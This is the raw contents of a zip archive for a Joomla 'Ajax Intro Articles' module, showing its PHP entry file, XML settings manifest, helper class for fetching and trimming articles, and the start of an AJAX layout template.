$ajaxlimit = $params->get('ajax_limit', 3);

// Include the syndicate functions only once
require_once __DIR__ . '/helper.php';
require_once JPATH_SITE . '/components/com_content/helpers/route.php';
		
if( JRequest::getInt('moduleID', 0) > 0 ){
	$start = JRequest::getInt('start');
	$limit = JRequest::getInt('limit', $ajaxlimit);
}

$list = ModAjaxIntroArticlesHelper::getList($params, $start, $limit);
$total = ModAjaxIntroArticlesHelper::getTotal($params);

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));

require JModuleHelper::getLayoutPath('mod_ajax_intro_articles', $params->get('layout', 'default'));
PK!�M�'O'O3mod_ajax_intro_articles/mod_ajax_intro_articles.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>Ajax Intro Articles Module</name>
	<author>Aplikko</author>
	<creationDate>February 2020</creationDate>
	<copyright>Copyright (C) 2020 Aplikko. All rights reserved.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>aplikko@gmail.com</authorEmail>
	<authorUrl>http://www.aplikko.com</authorUrl>
	<version>1.1</version>
	<description>Ajax Intro Articles Module shows a list of the most recently published and current Articles in Masonry Grid with Ajax Loading of the new Articles (Intro content).</description>
	<files>
		<filename module="mod_ajax_intro_articles">mod_ajax_intro_articles.php</filename>
		<folder>admin</folder>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
		<filename>mod_ajax_intro_articles.xml</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_ajax_intro_articles.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS" />
	<config>
		<fields name="params">
			<!-- <fieldset name="basic"> -->
			<fieldset name="basic" addfieldpath="/modules/mod_ajax_intro_articles/admin">
				<field
					name="catid"
					type="category"
					extension="com_content"
					multiple="true"
					size="10"
					default=""
					label="JCATEGORY"
					description="MOD_AJAX_INTRO_ARTICLES_CATEGORY_DESC">
					<option value="">JOPTION_ALL_CATEGORIES</option>
				</field>
				
				<field name="count" type="apslide" class="" data-content="data-content" default="3" data-slider-range="1,12" data-slider-step="1" label="MOD_AJAX_INTRO_ARTICLES_COUNT" description="MOD_AJAX_INTRO_ARTICLES_COUNT_DESC" />
				
				<field name="ajax_limit" type="apslide" class="" data-content="data-content" default="3" data-slider-range="1,12" data-slider-step="1" label="MOD_AJAX_INTRO_ARTICLES_LIMIT" description="MOD_AJAX_INTRO_ARTICLES_LIMIT_DESC" />
				
				<field
					name="show_featured"
					type="list"
					default=""
					label="MOD_AJAX_INTRO_ARTICLES_FEATURED"
					description="MOD_AJAX_INTRO_ARTICLES_FEATURED_DESC">
					<option value="">JSHOW</option>
					<option value="0">JHIDE</option>
					<option value="1">MOD_AJAX_INTRO_ARTICLES_VALUE_ONLY_SHOW_FEATURED</option>
				</field>

				<field
					name="ordering"
					type="list"
					default="published"
					label="MOD_AJAX_INTRO_ARTICLES_ORDERING"
					description="MOD_AJAX_INTRO_ARTICLES_ORDERING_DESC">
					<option value="c_dsc">MOD_AJAX_INTRO_ARTICLES_VALUE_RECENT_ADDED</option>
					<option value="m_dsc">MOD_AJAX_INTRO_ARTICLES_VALUE_RECENT_MODIFIED</option>
					<option value="p_dsc">MOD_AJAX_INTRO_ARTICLES_VALUE_RECENT_PUBLISHED</option>
					<option value="mc_dsc">MOD_AJAX_INTRO_ARTICLES_VALUE_RECENT_TOUCHED</option>
					<option	value="random">MOD_AJAX_INTRO_ARTICLES_VALUE_RECENT_RAND</option>
				</field>

				<field
					name="user_id"
					type="list"
					default="0"
					label="MOD_AJAX_INTRO_ARTICLES_USER"
					description="MOD_AJAX_INTRO_ARTICLES_USER_DESC">
					<option value="0">MOD_AJAX_INTRO_ARTICLES_VALUE_ANYONE</option>
					<option value="by_me">MOD_AJAX_INTRO_ARTICLES_VALUE_ADDED_BY_ME</option>
					<option value="not_me">MOD_AJAX_INTRO_ARTICLES_VALUE_NOTADDED_BY_ME</option>
				</field>
				
				<field type="apspacer" name="columns_spacer_1" prepend="MOD_AJAX_INTRO_ARTICLES_COLUMNS_NOTE" class="apspacer" icon="fa fa-list-ol" divider="true" />
				
				<field name="columns" type="themeselect" hide_default="false" default="3" class="label-columns" label="MOD_AJAX_INTRO_ARTICLES_COLUMNS" description="MOD_AJAX_INTRO_ARTICLES_COLUMNS_DESC">
					<option value="1">MOD_AJAX_INTRO_ARTICLES_1_COL</option>
					<option value="2">MOD_AJAX_INTRO_ARTICLES_2_COL</option>
					<option value="3">MOD_AJAX_INTRO_ARTICLES_3_COL</option>
					<option value="4">MOD_AJAX_INTRO_ARTICLES_4_COL</option>
					<option value="6">MOD_AJAX_INTRO_ARTICLES_6_COL</option>
				</field>
			
				<field
					name="intro_alignment"
					type="selector"
					default="intro-center"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_INTRO_ALIGNMENT"
					description="MOD_AJAX_INTRO_ARTICLES_AJAX_INTRO_ALIGNMENT_DESC"
					class="buttons"
					showon="columns:1">
					<option value="intro-left" icon="pull-left fa fa-indent">MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_ALIGN_LEFT</option>
					<option value="intro-center" icon="pull-left fa fa-indent fa-rotate-90">MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_ALIGN_CENTER</option>
					<option value="intro-right" icon="pull-right fa fa-indent fa-flip-horizontal">MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_ALIGN_RIGHT</option>
				</field>
				
				<field name="intro_width" 
					type="apslide"
					default="50"
					data-slider-range="20,70"
					data-slider-step="1"
					data-content="data-content"
					append="%"
					label="MOD_AJAX_INTRO_ARTICLES_INTRO_WIDTH"
					description="MOD_AJAX_INTRO_ARTICLES_INTRO_WIDTH_DESC"
					showon="columns:1" />
			
				<field type="apspacer" style="margin:0 auto;" name="columns_spacer_2" showon="columns:1" hr="true" />
				
				<field name="cols_spacing" 
					type="apslide"
					default="15"
					data-slider-range="0,50"
					data-slider-step="1"
					data-content="data-content"
					append="px"
					label="MOD_AJAX_INTRO_ARTICLES_COLUMNS_SPACING"
					description="MOD_AJAX_INTRO_ARTICLES_COLUMNS_SPACING_DESC" />
							
				<field name="inner_spacing" 
					type="apslide"
					default="0"
					data-slider-range="0,50"
					data-slider-step="1"
					data-content="data-content"
					append="px"
					label="MOD_AJAX_INTRO_ARTICLES_INNER_SPACING"
					description="MOD_AJAX_INTRO_ARTICLES_INNER_SPACING_DESC" />

				<field name="cols_color" type="color" label="MOD_AJAX_INTRO_ARTICLES_COLUMNS_BACKGROUND_COLOR" description="MOD_AJAX_INTRO_ARTICLES_COLUMNS_BACKGROUND_COLOR_DESC" />
				
				<field
					name="equal_heights"
					type="radio"
					default="0"
					class="btn-group"
					label="MOD_AJAX_INTRO_ARTICLES_EQUAL_HEIGHT"
					description="MOD_AJAX_INTRO_ARTICLES_EQUAL_HEIGHT_DESC"
					showon="columns!:1">
					<option value="1">JYES</option>
                    <option value="0">JNO</option>	
				</field>
				
				<field
					name="rtl_enable"
					type="radio"
					default="0"
					class="btn-group"
					label="MOD_AJAX_INTRO_ARTICLES_RTL"
					description="MOD_AJAX_INTRO_ARTICLES_RTL_DESC"
					showon="columns!:1" >
					<option value="1">JYES</option>
                    <option value="0">JNO</option>
				</field>
				
				<!-- Post Formats or Images -->
				<field type="apspacer" append="MOD_AJAX_INTRO_ARTICLES_INTRO_STYLES" class="apspacer" icon="fa fa-th-large" name="intro_style_1" divider="true" />
				<field
					name="intro_format"
					type="selector"
					default="1"
					class="styles"
					label="MOD_AJAX_INTRO_ARTICLES_INTRO_FORMAT"
					description="MOD_AJAX_INTRO_ARTICLES_INTRO_FORMAT_DESC">
						<option value="1"><![CDATA[<div style="display:block;width:120px;height:60px;margin:8px auto 0;padding:0;background:url(../modules/mod_ajax_intro_articles/admin/images/post-formats.svg) no-repeat center center;" class="selector-image clearfix">
						</div>
						<h4 class="clearfix">Post Formats</h4>]]></option>
						<option value="2"><![CDATA[<div style="display:block;width:120px;height:60px;margin:8px auto 0;background:url(../modules/mod_ajax_intro_articles/admin/images/intro-images.svg) no-repeat center center;" class="selector-image clearfix">
						</div>
						<h4 class="clearfix">Intro Images</h4>]]></option>	
				</field>
				<field
					name="image_intro_link"
					type="radio"
					default="0"
					class="btn-group"
					label="MOD_AJAX_INTRO_ARTICLES_INTRO_IMAGE_LINK"
					description="MOD_AJAX_INTRO_ARTICLES_INTRO_IMAGE_LINK_DESC"
					showon="intro_format:2">
					<option value="1">JYES</option>
                    <option value="0">JNO</option>
				</field>
		
				<field type="apspacer" append="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADING_BUTTON_OPTIONS" class="apspacer" icon="fa fa-refresh" name="load_more_1" divider="true" />
				
				<field
					name="loadmore_effect"
					type="selector"
					default="appear-in"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADING_APPEAR_EFFECTS"
					description="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADING_APPEAR_EFFECTS_DESC"
					class="buttons">
					<option value="appear-in">MOD_AJAX_INTRO_ARTICLES_APPEARIN</option>
					<option value="simple-fade">MOD_AJAX_INTRO_ARTICLES_SIMPLEFADE</option>
					<option value="fade-in-up">MOD_AJAX_INTRO_ARTICLES_FADEINUP</option>
					<option value="fade-in-down">MOD_AJAX_INTRO_ARTICLES_FADEINDOWN</option>
					<option value="intro-zoom-in">MOD_AJAX_INTRO_ARTICLES_ZOOMIN</option>
					<option value="none">MOD_AJAX_INTRO_ARTICLES_NONE</option>
				</field>
	
				<field
					name="loadmore_button"
					type="selector"
					default="default"
					class="buttons"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADING_BUTTON"
					description="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADING_BUTTON_DESC">
					<option value="default" btn="btn-default">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_DEFAULT</option>
					<option value="dark" btn="btn-dark">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_DARK</option>
					<option value="light" btn="btn-light">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_LIGHT</option>
					<option value="primary" btn="btn-primary">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_PRIMARY</option>
					<option value="success" btn="btn-success">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_SUCCESS</option>
					<option value="info" btn="btn-info">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_INFO</option>
					<option value="warning" btn="btn-warning">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_WARNING</option>
					<option value="danger" btn="btn-danger">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_DANGER</option>
					<option value="link" btn="btn-link">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_LINK</option>
				</field>
				
				<field name="loadmore_btn_text"
					type="text"
					hint="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADER"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADER_TEXT"
					description="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADER_TEXT_DESC" />
				
				<field name="loadmore_color"
					type="color"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADER_TEXT_COLOR"
					description="MOD_AJAX_INTRO_ARTICLES_AJAX_LOADER_TEXT_COLOR_DESC" />
					
				<field type="apspacer" append="MOD_AJAX_INTRO_ARTICLES_STYLING_OPTIONS" class="apspacer" icon="fa fa-sliders" name="styles_spacer_1" divider="true" />
		
				<field
					name="article_style"
					type="selector"
					default="1"
					class="styles"
					label="MOD_AJAX_INTRO_ARTICLES_STYLES"
					description="MOD_AJAX_INTRO_ARTICLES_STYLES_DESC">
					<option value="1"><![CDATA[<div style="display:block;width:120px;height:60px;margin:8px auto 0;padding:0;background:url(../modules/mod_ajax_intro_articles/admin/images/flex-style.svg) no-repeat center center;" class="selector-image clearfix">
						</div>
						<h4 class="clearfix">Flex Style</h4>]]>
					</option>	
					
					<option value="2"><![CDATA[<div style="display:block;width:120px;height:60px;margin:8px auto 0;padding:0;background:url(../modules/mod_ajax_intro_articles/admin/images/basic-style.svg) no-repeat center center;" class="selector-image clearfix">
						</div>
						<h4 class="clearfix">Basic Blog</h4>]]>
					</option>
					<option value="3"><![CDATA[<div style="display:block;width:120px;height:60px;margin:8px auto 0;padding:0;background:url(../modules/mod_ajax_intro_articles/admin/images/overlay-style.svg) no-repeat center center;" class="selector-image clearfix">
						</div>
						<h4 class="clearfix">Overlay Style</h4>]]>
					</option>	
				</field>
				
				<field
					name="overlay_effects"
					type="list"
					multiple="true"
					size="10"
					default=""
					label="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_OVERLAY_EFFECTS"
					description="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_OVERLAY_EFFECTS_DESC"
					showon="article_style:3">
					<option value="zoom">MOD_AJAX_INTRO_ARTICLES_INTROTEXT_OVERLAY_ZOOM</option>
					<option value="grayscale">MOD_AJAX_INTRO_ARTICLES_INTROTEXT_OVERLAY_GRAYSCALE</option>
					<option value="blur">MOD_AJAX_INTRO_ARTICLES_INTROTEXT_OVERLAY_BLUR</option>
				</field>
				<field name="overlay_color" type="colorpicker" default="" label="MOD_AJAX_INTRO_ARTICLES_OVERLAY_COLOR" description="MOD_AJAX_INTRO_ARTICLES_OVERLAY_COLOR_DESC" showon="article_style:3" />
				
				<field type="apspacer" style="margin:0 auto;" name="overlay_zoom_spacer_1" showon="article_style:3" hr="true" />
					
				<field
					name="show_title"
					type="radio"
					default="1"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_TITLE"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_TITLE_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
				
				<field name="title_size" 
					type="apslide"
					default="22"
					data-slider-range="12,36"
					data-slider-step="1"
					data-content="data-content"
					append="px"
					label="MOD_AJAX_INTRO_ARTICLES_TITLE_SIZE"
					description="MOD_AJAX_INTRO_ARTICLES_TITLE_SIZE_DESC"
					showon="show_title:1" />

				
				<field
					name="show_introtext"
					type="radio"
					default="1"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_INTROTEXT"
					description="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
				
				<field
					name="limit_words"
					type="number"
					default="25"
					label="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_LIMIT_WORDS"
					description="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_LIMIT_WORDS_DESC"
					min="0"
					max="100"
					step="1"
					showon="show_introtext:1" />
					
				<field
					name="strip_tags"
					type="radio"
					default="1"
					class="btn-group"
					label="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_STRIP_TAGS"
					description="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_STRIP_TAGS_DESC"
					showon="show_introtext:1">
					<option value="1">JYES</option>
                    <option value="0">JNO</option>
				</field>
				
				<field name="introtext_size" 
					type="apslide"
					default="15"
					data-slider-range="12,24"
					data-slider-step="1"
					data-content="data-content"
					append="px"
					label="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_SIZE"
					description="MOD_AJAX_INTRO_ARTICLES_INTROTEXT_SIZE_DESC"
					showon="show_introtext:1" />
					
				<field type="apspacer" style="margin:0 auto;" name="introtext_spacer_1" showon="show_introtext:1" hr="true" />
				
				<field
					name="show_author"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_AUTHOR"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_AUTHOR_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
				
				<field
					name="show_category"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_CATEGORY"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_CATEGORY_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
				
				<field
					name="show_date"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_DATE"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_DATE_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
                
                <field
					name="show_date_format"
					type="text"
					default="DATE_FORMAT_LC3"
					label="MOD_AJAX_INTRO_ARTICLES_DATEFIELDFORMAT_LABEL"
					description="MOD_AJAX_INTRO_ARTICLES_DATEFIELDFORMAT_DESC" 
					showon="show_date:1" />
		
				<field
					name="show_hits"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_HITS"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_HITS_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
				
				<field
					name="show_rating"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_RATING"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_RATING_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
				
				<field
					name="show_readmore"
					label="JGLOBAL_SHOW_READMORE_LABEL"
					description="JGLOBAL_SHOW_READMORE_DESC"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
				<!--<field type="apspacer" style="margin:0 auto;" name="readmore_spacer1" showon="show_readmore:1" hr="true" />-->
				<field
					name="readmore_button"
					type="selector"
					default="default"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_BUTTON"
					description="MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_BUTTON_DESC"
					class="buttons"
					showon="show_readmore:1">
					<option value="default" btn="btn-default">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_DEFAULT</option>
					<option value="dark" btn="btn-dark">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_DARK</option>
					<option value="light" btn="btn-light">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_LIGHT</option>
					<option value="primary" btn="btn-primary">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_PRIMARY</option>
					<option value="success" btn="btn-success">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_SUCCESS</option>
					<option value="info" btn="btn-info">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_INFO</option>
					<option value="warning" btn="btn-warning">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_WARNING</option>
					<option value="danger" btn="btn-danger">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_DANGER</option>
					<option value="link" btn="btn-link">MOD_AJAX_INTRO_ARTICLES_AJAX_BUTTON_LINK</option>
				</field>
				
				<field name="readmore_btn_text"
					type="text"
					hint="MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_TEXT_HINT"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_TEXT"
					description="MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_TEXT_DESC" 
					showon="show_readmore:1" />
					
				<field
					name="align_readmore_button"
					type="selector"
					default="left"
					label="MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_ALIGN_READMORE"
					description=""
					class="buttons"
					showon="show_readmore:1">
					<option value="left" icon="pull-left fa fa-align-left">MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_ALIGN_LEFT</option>
					<option value="right" icon="pull-right fa fa-align-right">MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_ALIGN_RIGHT</option>
				</field>
				
				<field type="apspacer" style="margin:0 auto;" name="readmore_spacer_2" showon="show_readmore:1" hr="true" />
				
				<field
					name="show_social_share"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_SOCIAL_SHARE"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_SOCIAL_SHARE_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
	
				<field
					name="show_tags"
					type="radio"
					default="0"
					class="btn-group btn-group-yesno"
					label="MOD_AJAX_INTRO_ARTICLES_SHOW_TAGS"
					description="MOD_AJAX_INTRO_ARTICLES_SHOW_TAGS_DESC">
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

			</fieldset>

			<fieldset name="advanced">
				<field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
				<field name="moduleclass_sfx" type="textarea" rows="3" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
			</fieldset>
		</fields>
	</config>
</extension>PK!���\!\!"mod_ajax_intro_articles/helper.phpnu&1i�<?php
/**
*	@package	Ajax Intro Articles
*	@copyright	Copyright (C) 2018 Aplikko. All rights reserved.
*	@license	GNU/GPL version 2, or later
*	@website:	http://www.aplikko.com
*/

defined( '_JEXEC' ) or die( 'Restricted access' );

require_once JPATH_SITE . '/components/com_content/helpers/route.php';

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

/* Helper */
abstract class ModAjaxIntroArticlesHelper
{

    public static function getAjax() {
        $input = JFactory::getApplication()->input;
        if ($input->get('cmd') == 'load') {
            $module = JModuleHelper::getModule('ajax_intro_articles', base64_decode($input->get('data')));
            $params = new JRegistry();
			
            $params->loadString($module->params);
			$list = ModAjaxIntroArticlesHelper::getList($params, $input->get('start'), $input->get('limit'));
            ob_start();
            require JModuleHelper::getLayoutPath('mod_ajax_intro_articles', $params->get('layout', 'default') . '_ajax');
            $output = ob_get_contents();
            ob_end_clean();
            return $output;
        }
        return false;
    }
    
	public static function getList($params, $start, $limit) {
		// Get the dbo
		$db = JFactory::getDbo();

		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		// Set the filters based on the module params
		$model->setState('list.start', $start);
		$model->setState('list.limit', $limit);
		$model->setState('filter.published', 1);

		// Access filter
		$access = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// User filter
		$userId = JFactory::getUser()->get('id');

		switch ($params->get('user_id'))
		{
			case 'by_me' :
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me' :
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case '0' :
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		//  Featured switch
		switch ($params->get('show_featured'))
		{
			case '1' :
				$model->setState('filter.featured', 'only');
				break;
			case '0' :
				$model->setState('filter.featured', 'hide');
				break;
			default :
				$model->setState('filter.featured', 'show');
				break;
		}

		// Set ordering
		$order_map = array(
			'm_dsc' => 'a.modified DESC, a.created',
			'mc_dsc' => 'CASE WHEN (a.modified = ' . $db->quote($db->getNullDate()) . ') THEN a.created ELSE a.modified END',
			'c_dsc' => 'a.created',
			'p_dsc' => 'a.publish_up',
			'random' => 'RAND()',
		);
		$ordering = JArrayHelper::getValue($order_map, $params->get('ordering'), 'a.publish_up');
		$dir = 'DESC';

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $dir);

		$items = $model->getItems();
		
		foreach ($items as $item)
		{
			$item->slug    = $item->id . ':' . $item->alias;
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug));
			}
			else
			{
				$item->link = JRoute::_('index.php?option=com_users&view=login');
			}
		}
		//$total = count($items);
		
		return $items;
	}

	public static function getTotal($params) {

		// Get the dbo
		$db = JFactory::getDbo();

		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app       = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		// Set the filters based on the module params
		$model->setState('filter.published', 1);

		// Access filter
		$access     = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// User filter
		$userId = JFactory::getUser()->get('id');

		switch ($params->get('user_id'))
		{
			case 'by_me' :
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me' :
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case '0' :
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		//  Featured switch
		switch ($params->get('show_featured'))
		{
			case '1' :
				$model->setState('filter.featured', 'only');
				break;
			case '0' :
				$model->setState('filter.featured', 'hide');
				break;
			default :
				$model->setState('filter.featured', 'show');
				break;
		}

		// Set ordering
		$order_map = array(
			'm_dsc' => 'a.modified DESC, a.created',
			'mc_dsc' => 'CASE WHEN (a.modified = ' . $db->quote($db->getNullDate()) . ') THEN a.created ELSE a.modified END',
			'c_dsc' => 'a.created',
			'p_dsc' => 'a.publish_up',
			'random' => 'RAND()',
		);
		$ordering = JArrayHelper::getValue($order_map, $params->get('ordering'), 'a.publish_up');
		$dir      = 'DESC';

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $dir);

		$totals = $model->getItems();
		

		foreach ($totals as $item)
		{
			$item->slug    = $item->id . ':' . $item->alias;
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug));
			}
			else
			{
				$item->link = JRoute::_('index.php?option=com_users&view=login');
			}
		}
		
		return $totals;
	}
	
	
	// Limit Characters and Words
	
	public static function cut_text($introtext){
    
    $postfix = '...';
    
    switch($limit_type){
      
      // CHARS
      case "chars":
        //strip HTML tags  
    		if($strip_tags){ $text = strip_tags($text);	}
        
        if(strlen($text) > $limit) {
          $text = substr($text, 0, strrpos(substr($text, 0, $limit), ' ')) . $postfix;
        } 
        break;
      
      // WORDS
      case "words":
  			$container = explode(' ', strip_tags($text));
  		
  			if(count($container) > $limit){

          //strip HTML tags  
      		if($strip_tags){ $text = strip_tags($text);	}
          
      		$container = explode(" ", $text);
     
      		//if text is longer than limit, return full text
          if (count($container) < $limit) {
            return $text;
          }
      
          //rebuild text by limit
      		$text = implode(" ", array_slice($container, 0, $limit));
          
          //add a postfix
          $text .= $postfix;
          // check and close unclosed html tags
          $text = self::closetags($text);
  			}
        else {
          //strip HTML tags  
    		if($strip_tags){ $text = strip_tags($text); }
        }
        break;

    }
       
    return $text;
	}
	
	public static function _cleanIntrotext($introtext)
    {
		// Load module's params
		$module = JModuleHelper::getModule('ajax_intro_articles');
		$params = new JRegistry($module->params);
		
        $introtext = str_replace('<p>', ' ', $introtext);
        $introtext = str_replace('</p>', ' ', $introtext);
        // Strip Tags, but allow some: 
		if ($params->get('show_introtext') == 1 && $params->get('strip_tags') == 1) {
			$introtext = strip_tags($introtext, '<a><em><strong><i><span>');
			$introtext = strip_tags($introtext, '<p>');
		} 
        $introtext = trim($introtext);

        return $introtext;
    }
	
}
PK!_��2::-mod_ajax_intro_articles/tmpl/default_ajax.phpnu&1i�<?php
/**
*	@package	Ajax Intro Articles Module
*	@copyright	Copyright (C) 2020 Aplikko. All rights reserved.
*	@website:	http://www.aplikko.com
*/
defined( '_JEXEC' ) or die( 'Restricted access' );

$doc = JFactory::getDocument();

$limit_words = $params->get('limit_words');
$columns = $params->get('columns', 3);
$intro_format = $params->get('intro_format', 1);
$article_style = $params->get('article_style', 1);
$inner_spacing = $params->get('inner_spacing', 0);

$overlay_intro_top = '';
$desc_top = '';
$article_style_start = '';
$article_style_end = '';
$entry_style = '';
$effects = ''; 
$intro_alignment = '';
$intro_width = '';
$desc_width = '';
$sppb_readmore = '';	
$margin_top_desc = '';

$md_grid = 12/$columns;
$sm_grid = '';
$xs_grid = '12';

if ($columns == 2) {
	$sm_grid = $md_grid;
} elseif ($columns == 3) {
    $sm_grid = '6';
	$md_grid = '4';
} elseif ($columns == 4) {
    $sm_grid = '4';
	$md_grid = '3';
} elseif ($columns == 6) {
    $sm_grid = '3';
	$xs_grid = '6';
} else {
    $sm_grid = '12';
}

// Equal Heights for Columns
($params->get('equal_heights') == 1 && $columns != 1) ? $equal_heights = 'match-height ' : $equal_heights = '';

if ($article_style != 2) { 
	$article_style_start = '<div class="article_style">';
	$article_style_end = '</div>';
	
	$margin_top_desc = 'margin-top:-'.$params->get('inner_spacing').'px;';
	
	if ($intro_format == 2) {
